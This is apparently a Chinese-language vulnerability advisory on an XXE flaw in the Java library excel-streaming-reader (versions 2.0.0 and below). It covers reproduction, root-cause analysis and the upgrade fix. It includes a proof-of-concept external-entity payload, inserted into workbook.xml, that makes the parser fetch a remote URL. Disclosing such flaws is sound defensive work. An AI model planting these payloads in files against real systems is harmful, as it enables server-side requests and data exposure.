EXCEL-STREAMING-READER XXE漏洞

漏洞名称

excel-streaming-reader XXE漏洞

漏洞编号

暂无

漏洞描述

Apache POIApache软件基金会的开放源码程序库,POI提供API给Java程序对Microsoft Office格式档案读和写的功能。对于excel读取,经常在读取某些特别大的excel文件的时候都会带来一个内存溢出的问题,而excel-streaming-reader就是为了解决该场景导致的一系列问题,它可以流式的读取 xlsx文件,将一些特别大的文件拆分成小的文件去读。

漏洞复现过程

编写利用excel-streaming-reader读取xlsx的代码,如下图所示 将xlsx文件用rar打开,找到workbook.xml,在xml文件中加入XXE漏洞POC

<!DOCTYPE root[  
  <!ENTITY % d SYSTEM"http://www.zhutougg.com/aaaaaaaaaaaaaaa">
%d;]>

执行读取该xlsx文件,即会执行xml文件中的命令

漏洞分析

在执行com.monitorjbl.xlsx.StreamingReader.Builder.open(InputStream)方法时会对workbook进行初始化 com.monitorjbl.xlsx.impl.StreamingWorkbookReader.init(File)方法中,会将workbook.xml内容传入document()方法中 document()方法未对xxe漏洞进行防御,从而导致了XXE漏洞。

受影响版本

2.0.0版本及以下版本

修复方式

直接更新至最新版本(2.1.0)

<dependency>  
            <groupId>com.monitorjbl</groupId>
            <artifactId>xlsx-streamer</artifactId>
            <version>2.1.0</version>
        </dependency>

zhutougg

继续阅读此作者的更多文章